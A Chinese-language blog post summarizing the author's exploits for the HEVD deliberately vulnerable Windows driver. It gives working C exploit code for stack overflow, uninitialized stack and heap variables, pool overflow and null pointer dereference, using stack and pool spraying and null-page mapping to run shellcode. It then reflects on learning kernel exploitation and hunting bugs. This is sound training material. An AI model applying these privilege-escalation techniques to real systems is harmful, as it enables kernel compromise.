作者:wjllz
來源:先知安全技術社區

前言

Hello, 這是windows kernelexploit的第七篇, 也是這個階段性的最后一篇. 接下來我想做一些挖洞的工作. 所以可能分析性的文章就暫時更新到這里(并不, 只是投入的時間占比可能會更少一些).

這一篇主要涉及一些我自己對挖洞的思考, 來源于學習過程的積累. 但是都是自己總結, 沒有科學依據. 所以我一直掛在自己的博客, 沒有外放. 后來想著校內分享就給老師了… 師傅和我說一個系列的希望可以在先知留給備份, 所以就又放上來了. 唔, 雖然是一些很笨的方法, 但是希望師傅們能夠給我提供更多的意見. 感激不盡 :)

我記得兩個月前我開始了我的內核學習道路, 于是我開始學習師父給我的HEVD的文章來看. 在學習了UAF這一篇之后, 就把這個系列給放棄了. 因為覺得還是直接做cve的分析比較具有挑戰性.

我記得我的第一篇文章是關于HEVD的, 當時第一次實現了堆噴的時候, 開始驚訝于這個世界的神奇. 所以這樣想來也好, 從HEVD開始. 也從HEVD結束.

當然, 提到HEVD, 得感謝rootkits的杰出工作. 讓我放棄了c走向了python的美滿人生(并沒有, c是我和我最后的倔強). 還有一些balabala的人(很重要的), 由于我不是寫獲獎感言. 所以就不一一列舉了.

由于rootkit的分析已經做的很棒了, 所以我不會對于每一個做出詳細的解釋, 而是給出概括性的利用總結.在這篇文章當中, 給出的內容如下:

[+] HEVD的各個漏洞利用的思路
[+] 通過HEVD總結windows內核漏洞利用.
[+] 探討內核的學習之路的一些繞彎的地方
[+] 關于挖洞的推測

我比較想聊的是第二個和第三個話題, 如果你看過我以前的博客的話, 你會發現我就是一個菜雞, 所以和往常一樣. 這些都是我自以為是的結論. 不算教程. 如果你在學習過程中發出和我一樣的感受的話. 那實在是一件很幸運的事情. 至于第四個點, 算是一些民科的行為, 基于HEVD給出的信息, 想探討一些對之后挖洞可能會有幫助性的思路. 在之后的道路我會驗證他并更新第四部分.

文章所有的代碼實現你可以在我的github上面找到, UAF和write-what-where會有詳細的文章解釋, 所以就不再貼出來.

各個漏洞的總結

棧溢出

關鍵代碼段:
#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); // 這里
#endif

利用思路:

[+] 覆蓋0x824(ebp-0x81c)的數據, 偏移0x820處寫入shellcode
[+] ret時候覆蓋eip, 執行shellcode
爬坑點:
[+] 恢復堆棧平衡(rootkits):
    [+] 找到shellcode的ret處, 觀察當前堆棧. 執行pop, add esp, 之類的操作恢復平衡.(這一部分需要注意的是, 比起靜態分析, 動態調試可以幫助你節省很多時間)

    [+] user space算出內核基地址
    [+] 算出ret 地址偏移XXXX
    [+] mov [esp], xxx.
        ==> 你可以參考我的內核系列的第二篇文章.
假設比較
[+] 開發者假設: 由userbuf到kernelbuf的復制功能實現完整
[+] 攻擊者假設: 開發者開發的功能當中開發者可能出現失誤造成漏洞點.
[+] ==> who: 開發者失誤
exp關鍵代碼段
VOID runYourShellCode()
{
    const int orignalLength = 0x800;
    const int overflowLength = 0x20;
    DWORD lpBytesReturned = 0;
    char buf[orignalLength + overflowLength+4];
    memset(buf, 0x41, orignalLength + overflowLength+4);

    *(PDWORD32)(buf +orignalLength + overflowLength) = (DWORD32)&shellCode; // rip
    // 執行shellcode
    // 任務: 計算偏移地址
    DeviceIoControl(hDevice, STACK_OVERFLOW_NUMBER, buf, orignalLength + overflowLength + 4, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆蓋header
}

未初始化棧變量

關鍵代碼段
#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif

        // Call the callback function
        if (UninitializedStackVariable.Callback) { 
            UninitializedStackVariable.Callback(); // 這里
        }
    }
利用思路
[+] 利用stack spray控制堆棧中的殘留數據
    ==> stack spray: https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/
[+] 未初始化的棧變量(UninitializedStackVariable)使用的值是堆噴殘留的數據. 運行下面的語句, 執行shellcode
    ==> UninitializedStackVariable.Callback(); 
爬坑點

[+] stack spray

[+] 理論性的計算stack spray的變化對我來說實在是一件枯燥的事
    ==> 采用OD或者windbg觀察程序堆棧類似`add esp, 8`之后, 堆棧的相關信息
    ==> 動態調試用于堆噴射的函數NtMapUserPhysicalPages運行過程中堆棧的變化
假設比較
[+] 開發者假設: 使用UninitializedStackVariable功能實現完整
[+] 攻擊者假設:
    ==> 開發者沒有正確對變量A賦值初值.
    ==> 利用系統特性. 可以對A的初值進行預判性的賦值
    ==> 利用后面代碼. 可以執行shellcode
[+] ==> who: 開發者+系統特性
exp:

[+] 關鍵代碼段:

VOID exploitToRunYourShellCode()
{
    DWORD lpBytesReturned = 0;
    char buf[5] = {};
    *(PDWORD32)(buf) = 0xBAD0B0B0 + 12;    // not magic value

    NtMapUserPhysicalPages_t NtMapUserPhysicalPages =(NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle("ntdll"), "NtMapUserPhysicalPages");

    if (MapUserPhysicalPages == NULL)
    {
        std::cout << "[+] Get MapUserPhysicalPages failed!!! " << GetLastError() << std::endl;
        return;
    }

    // j00ru給的數據
    // 只要把它全部變為shellcode的地址就可以了
    PULONG_PTR sprayBuf = (PULONG_PTR)malloc(1024 * 4);
    memset(sprayBuf, 0x41, 1024 * 4);

    for (int i = 0; i < 1024; i++)
    {
        *(PDWORD)(sprayBuf + i) = (DWORD)&shellCode;
    }

    NtMapUserPhysicalPages(NULL, 0x400, sprayBuf);
    DeviceIoControl(hDevice, UNINITIAL_STACK_VARIABLE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆蓋header
}

未初始化堆變量

關鍵代碼段:

[+] c

 #ifdef SECURE
        else {
            DbgPrint("[+] Freeing UninitializedHeapVariable Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);

            // Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable'
            // to NULL and checks for NULL pointer before calling the callback

            // Set to NULL to avoid dangling pointer
            UninitializedHeapVariable = NULL;
        }
#else
            // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
            // because the developer is not setting 'Value' & 'Callback' to definite known value
            // before calling the 'Callback'
            DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
#endif

        // Call the callback function
        if (UninitializedHeapVariable) {
            DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
            DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
            // 這里
            UninitializedHeapVariable->Callback();
        }
    }
利用思路
[+] 利用堆噴控制堆中殘留的數據
[+] 觸發漏洞, 使其重復使用上一次釋放的堆
[+] 利用程序的后面邏輯實現利用
爬坑點

[+] list head:

[+] target
假設比較
[+] 開發者假設: callback功能實現完成
[+] 攻擊者假設: 開發者未對數據進行合理的賦值, 可以利用系統特性控制數據實現利用
[+] who: 開發者失誤+系統特性
exp

[+] 關鍵代碼段

VOID poolFengShui()
{
    WCHAR lpszName[0xf0 / 2] = {};
    memset((char*)lpszName, 'A', 0xf0);
    // 分配大量的0x256個pool
    for (int i = 0; i < 256; i++)
    {
        *(PDWORD)((char*)lpszName + 0x4) = (DWORD)&shellCode;
        *(PDWORD)((char*)lpszName + 0xf0 - 4) = i;
        *(PDWORD)((char*)lpszName + 0xf0 - 3) = i;
        *(PDWORD)((char*)lpszName + 0xf0 - 2) = i;
        *(PDWORD)((char*)lpszName + 0xf0 - 1) = i;
        spray_event[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpszName);    // 分配0xf0+0x8(header)的pool
    }
    for (int i = 0; i < 256; i++)
    {
        CloseHandle(spray_event[i]);
        i += 4;
    }
    // 分配完畢
}

VOID exploitToRunYourShellCode()
{
    DWORD lpBytesReturned = 0;
    char buf[5] = {};
    *(PDWORD32)(buf) = 0xBAD0B0B0 + 12;    // not magic value

    // 堆噴數據
    poolFengShui();
    DeviceIoControl(hDevice, UNINITIAL_HEAP_VARIABLE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆蓋header
}

pool oveflow

關鍵代碼段:
#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Paged Pool Session Overflow\n");

        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        RtlCopyMemory(KernelBuffer, UserBuffer, Size); // 這里
#endif
利用思路:
[+] 利用堆噴留下合適的0x200大小的數據
[+] 0頁分配, shellcode地址放在0x60處
[+] 構造數據使溢出后的數據足以把typeinfo值為0, 
[+] 調用closeHandle時候調用shellcode
爬坑

[+] 堆噴的時候合理控制空隙

假設比較
[+] 開發者假設: callback功能實現完成
[+] 攻擊者假設: 開發者未對數據進行合理的校驗, 可以利用系統特性控制數據實現利用
[+] who: 開發者失誤+系統特性
exp關鍵代碼
// 使用CreateEvent API去控制風水布局
VOID poolFengShui()
{
    // 分配大量的0x40個pool
    for (int i = 0; i < 0x1000; i++)
        spray_event[i] =  CreateEventA(NULL, FALSE, FALSE, NULL);    // 0x40

    // 0x40 * 8 = 0x200
    for (int i = 0; i < 0x1000; i++)
    {
        for(int j = 0; j < 0x8; j++)
            CloseHandle(spray_event[i+j]);
        i += 8;
    }

    // 分配完畢
}

VOID exploit()
{
    const int overLength = 0x1f8;
    const int headerLength = 0x28;
    DWORD lpBytesReturned = 0;
    char buf[overLength+headerLength];
    memset(buf,0x41 ,overLength+headerLength);

    // 偽造利用的數據
    // 偽造typeInfo. 使其為0x00
    *(DWORD*)(buf + overLength + 0x00) = 0x04080040;
    *(DWORD*)(buf + overLength + 0x04) = 0xee657645;
    *(DWORD*)(buf + overLength + 0x08) = 0x00000000;
    *(DWORD*)(buf + overLength + 0x0c) = 0x00000040;
    *(DWORD*)(buf + overLength + 0x10) = 0x00000000;
    *(DWORD*)(buf + overLength + 0x14) = 0x00000000;
    *(DWORD*)(buf + overLength + 0x18) = 0x00000001;
    *(DWORD*)(buf + overLength + 0x1c) = 0x00000001;
    *(DWORD*)(buf + overLength + 0x20) = 0x00000000;
    *(DWORD*)(buf + overLength + 0x24) = 0x00080000;    // key fake here

    /*
    *    [+] (TYPEINFO 為0x00)偽造0x60, 覆蓋函數指針使其執行shellcode
    */
    PVOID               fakeAddr = (PVOID)1;
    SIZE_T              MemSize = 0x1000;

    *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
    if (NtAllocateVirtualMemory == NULL)
    {
        return ;
    }

    std::cout << "[+]" << __FUNCTION__ << std::endl;
    if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
        &fakeAddr,
        0,
        &MemSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || fakeAddr != NULL)
    {
        std::cout << "[-]Memory alloc failed!" << std::endl;
        return ;
    }
    *(DWORD*)(0 + 0x60) = (DWORD)&shellCode;    // change為shellcode地址

    poolFengShui();
    DeviceIoControl(hDevice, POOL_OVERFLOW_NUMBER, buf, overLength+headerLength, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆蓋header
}

空指針

關鍵代碼
[...]
        NullPointerDereference = NULL; // here
        }

#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback(); // here
#endif
利用思路
[+] 構造合理數據, 使其分配0頁
[+] 觸發漏洞執行shellcode
爬坑點

[+] 分配內存頁

if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
        &fakeAddr,  //==> 這個地方別賦值為NULL(0), 否則系統會自動分配地址(請參考MSDN)
        0,
        &MemSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || fakeAddr != NULL)
    {
        std::cout << "[-]Memory alloc failed!" << std::endl;
        return ;
    }
假設比較
[+] 開發者假設: callback功能實現完成
[+] 攻擊者假設: 開發者未對數據進行合理的校驗, 可以利用系統特性控制數據實現利用
[+] who: 開發者失誤+系統特性
exp關鍵代碼
VOID exploitToRunYourShellCode()
{
    DWORD lpBytesReturned = 0;
    char buf[5] = {};
    *(PDWORD32)(buf) = 0xBAD0B0B0+12;    // not magic value
    // 執行shellcode
    // 任務: 計算偏移地址

    *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
        "NtAllocateVirtualMemory");
    if (NtAllocateVirtualMemory == NULL)
    {
        return;
    }
    PVOID               fakeAddr = (PVOID)1;
    SIZE_T              MemSize = 0x1000;
    std::cout << "[+]" << __FUNCTION__ << std::endl;
    if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
        &fakeAddr,
        0,
        &MemSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || fakeAddr != NULL)
    {
        std::cout << "[-]Memory alloc failed!" << std::endl;
        return;
    }

    *(DWORD*)(0 + 0x4) = (DWORD)&shellCode;

    DeviceIoControl(hDevice, NULL_POINTER_DEFERENCE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 原有大小 0x8覆蓋header
}

從HEVD引發的內核漏洞學習的思考

難度比較

前段時間在做DDCTF的時候, 我就有了把HEVD的這個重新寫一下的想法. 對比一下他們的不同之處. HEVD這個, 我寫完的時間花了三個小時(stack spray第一次學習, 在那里卡了一會). 所以還是蠻簡單的. 所以我想先講一下HEVD和我自己學習的CVE的不同. 來看看對內核學習有什么有用的信息.

分析代碼

HEVD:

[+] HEVD的代碼網上有給出相應的c代碼, 你可以不用無腦去逆向. 可以直接閱讀源碼. 進行觸發. 并很容易的根據相應的程序邏輯構造合理的數據進行利用.

CVE:

[+] 這幾個當中, 以我目前來看分析代碼的邏輯才是最難的一部分.
    ==> 你得確定漏洞的觸發點 --> 得有代碼的邏輯分析能力
    ==> 你得確定調用怎樣的合適的API, 各個參數放怎樣的數據才是合理的. --> 對windows編程要有相應的熟悉.

CVE的學習, 如果你做過1day的比較之后, 你會發現. 定位漏洞點其實借助于其他的小技巧(比如補丁比較)可能沒有那么難. 但是觸發了漏洞之后利用函數里面的哪一段數據才能合理的實現利用我覺得是更難的部分. 因為很容易迷失在此中. 所以我做的過程當中面對這個問題的解決方案是:

[+] xref觸發漏洞邏輯
[+] 利用調試去做與補丁比較反方向的事, 驗證判斷
[+] 構建POC
        ==> 確定漏洞的相關內核數據類型, 如果前輩們已經做過了. 就直接參考前輩的經驗
        ==> 如果沒做過:
            ==> 結合windows nt4泄露源碼實現逆向
            ==> 動態調試, 對比哪些數據被污染了(如果這一部分做得好的話, 甚至可以不用逆向)
開發難度

HEVD:

[+] HEVD的利用github上面有很多很多, 如果你不會的話你可以參考其他人的代碼與教程學習
[+] HEVD對數據的操控十分簡單. 大多數數據都是連續的(你可以覆蓋可控數據的n個byte)

CVE:

[+] 很多CVE的利用在網上都沒有push出相應的源代碼, 得自己游離于google的開發平臺做相應的資料搜集.
[+] 大多數漏洞操縱的數據都是有限的, 而且很容易寫原語殘缺(可以參考我的第二篇文章)
[+] 緩解措施問題: 針對各個平臺, 有形形色色的緩解措施等著你. 其中的繞過讓人頭疼不已.

我一度困擾于緩解措施和各種繞過, 所以對于此, 我做了下面的解決方案.

[+] 尋求一種通用性的方法: 直接替換system token和current process token. 這種方法能夠實現內核提權, 你只需要繞過KASLR. 以及獲取相應的讀寫權限即可
[+] 多讀以前的漏洞, 看看前輩們如何解決寫原語殘缺.
    ==> 控制關鍵數據結構體, 獲取更優秀的讀寫能力
[+] 在github上面更新了(目前更新到了rs3)漏洞利用的合集, 保證我在各個平臺上至少掌握一種方法可利用.

一些自己內核學習的過程中繞彎的地方

貧窮

這一部分其實沒有開玩笑, 在我早期的學習過程中. 我用著我的4G的筆記本. 同時開著兩三個虛擬機. 然后電腦天天處于爆炸的狀態. 十分影響學習的效率. 所以如果可以的話, 盡量使用性能比較好的電腦. 好的工具會讓你事半功倍.

理論分析與調試分析

我做的最難受的洞應該是cve-2017-0263, 因為那是小刀師傅的博客上面做的是一篇十分詳細的分析. 所以我覺得應該是蠻簡單的, 但是我當時差不多花了一個星期左右在上面, 因為我走錯了重點. 小刀師傅的博客上面有對每一個控件的原理相關的數據變量都做詳細的分析, 能做到此是基于其強大的內功. 他熟悉windows的管理細節, 以及內核結構的實現思路. 這一部分是需要經驗的積累的. 然而初入內核的我是根本不可能有內功這種東西的. 所以我做的最大的錯誤就是讓自己陷入知識的海洋當中. 后來的解決方案是我開始從exp入手, 定位相應的關鍵代碼段.然后記住關鍵的代碼信息, 完成了那個漏洞的理解分析.

所以我們可以牽涉到另外一個東西. 我在學習的過程當中, 一開始翻閱了大量的paper, 光是blackhat的演講paper就搜集了一大堆, 但是經常看著看著就忘了. 大概自己實在是一個不擅長寄東西的人.所以我開始對paper做了另外一個十分的定義. 字典. 哪里不會點哪里. 學堆噴的時候去參考11年的pool, feng shui的時候去看13的paper. 在重復的查閱當中. 獲取更深的理解.

關于挖洞的探討.

依然想首先講出, 我還沒有開始挖洞, 所以這一部分的東西只是我下一步的工作的主體思路. 在后期當中我會更新變改正.

開發者失誤

在前面的過程當中. 我對每一個類型的洞都給了相應的背鍋歸屬, 我把pool overflow, stackoverflow歸類于開發者背鍋. 然而微軟的老師們都是很厲害的存在, 所以我覺得想去挖這種類型的洞概率還是挺小的. 如果說有的話, 應該是在相應的比較老的源碼當中. 在那個時候微軟還是良莠不齊, 以及大家并不注重安全的年代我覺得漏洞可能存在. 所以相應的思路是:

[+] 比較古老的windows和現有的windows(bindiff)
[+] 重點觀測未更改的函數
    ==> 留意核心功能的函數, 攻擊面廣.
系統特性

這一部分的挖洞是我最想做的. 做CVE和HEVD的分析的時候, 一般我都會去嘗試假設如果自己實現這份源碼會去怎么實現. 最終得出的結論是我可能在整數溢出+UAF模式的回調攻擊這兩個個類型的洞會百分百命中.

整數溢出

整數溢出的漏洞其實我覺得鍋是不應該給開發者的, 寄存器的局限性和語言的局限性導致了這個漏洞的出現. 正常人的思路應該是FFFFFFFF+1=1 0000 0000, 然而由于局限性的出現, 結果變為了0, 所以我覺得由人的慣性思維去入手. 應該會有不錯的收獲. 所以在下面的學習當中. 我會主要關注于整數溢出的漏洞挖掘.

目前的大概思路是:

[+] 尋找最新的補丁
[+] 使用IDA python完成相應的代碼搜索. 過濾條件:
    ==> PALLOCMEM
    ==> without: ULongLongToLong
UAF攻擊

UAF的漏洞也應該是由系統特性來背鍋. 因為在設計方面, 使用用戶回調來與user space的相關數據實現交互可以極大的提高效率. 引發了潛在的安全問題. 在微軟最開始的設計當中, 應該對于這一部分的考慮挺少的. 所以我覺得這一部分的洞可能比整數溢出漏洞更多一些. 但是不做這一方面的原因是, 手工尋找此類型的漏洞可能過于痛苦. 所以我得去學一點fuzz的知識. 那也是一個漫長的過程. 所以先慢慢來.

目前的大概思路是:

[+] 學習fuzz
[+] 構建好的策略

相關鏈接

==> 北歸姐的個人博客: www.baidu.com(北歸姐的博客不開放. 所以先占位)
==> sakura師父的個人博客: http://eternalsakura13.com/
==> 小刀師傅的博客: https://xiaodaozhi.com/(小刀師傅擁有著我所有想要的優點)
==> rootkits老師的博客: https://rootkits.xyz/(入門的良心材料)
==> j00ru: https://j00ru.vexillium.org/(我的偶像, 我能做到的只是這副皮囊比偶像帥一點(逃), 其他的還有很長的距離去趕)
==> alex: http://www.alex-ionescu.com/(一個非常厲害非常厲害的老師. 學windows內核內功方面的字典)
==> NCC group: https://www.nccgroup.trust/us/(發布的paper有很強的研究意義)
==> coresecurity: https://support.coresecurity.com/hc/en-us(發布的paper有很強的研究意義)
==> sensepost: https://sensepost.com/(發布的paper有很強的研究意義)
==> awesome kernel: https://github.com/ExpLife0011(一份相當有用的資料來源地. explife老師幫忙節省了很多找資料的細節)
==> blackhat: https://www.blackhat.com/(有很多的paper, 大量的最新的研究)
==> k0keoyo: https://github.com/k0keoyo(在老師的github上面學到很多.) 
==> 我的博客地址: https://www.redog.me/

后記

內核系列分析的文章到這里告一段落. 十分感謝你閱讀完這些又長又丑的文章(假裝自己的博客有人看的樣子). 希望能夠對你有所幫助.

做這個系列的目的是, 在我學習的過程中, 閱讀了大量的前輩們的文章, 他們把windows的閉源變成了開源. 所以我覺得很酷. 我也想做這樣的事.

另外一個方面, 自己的學習過程當中實在是一個相當愚蠢的過程, 犯了大量的錯誤, 所以想把自己犯的錯給貼出來. 如果能夠幫助你避免重復犯錯實在是幸運的事.

最后, wjllz是人間大笨蛋.


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/878/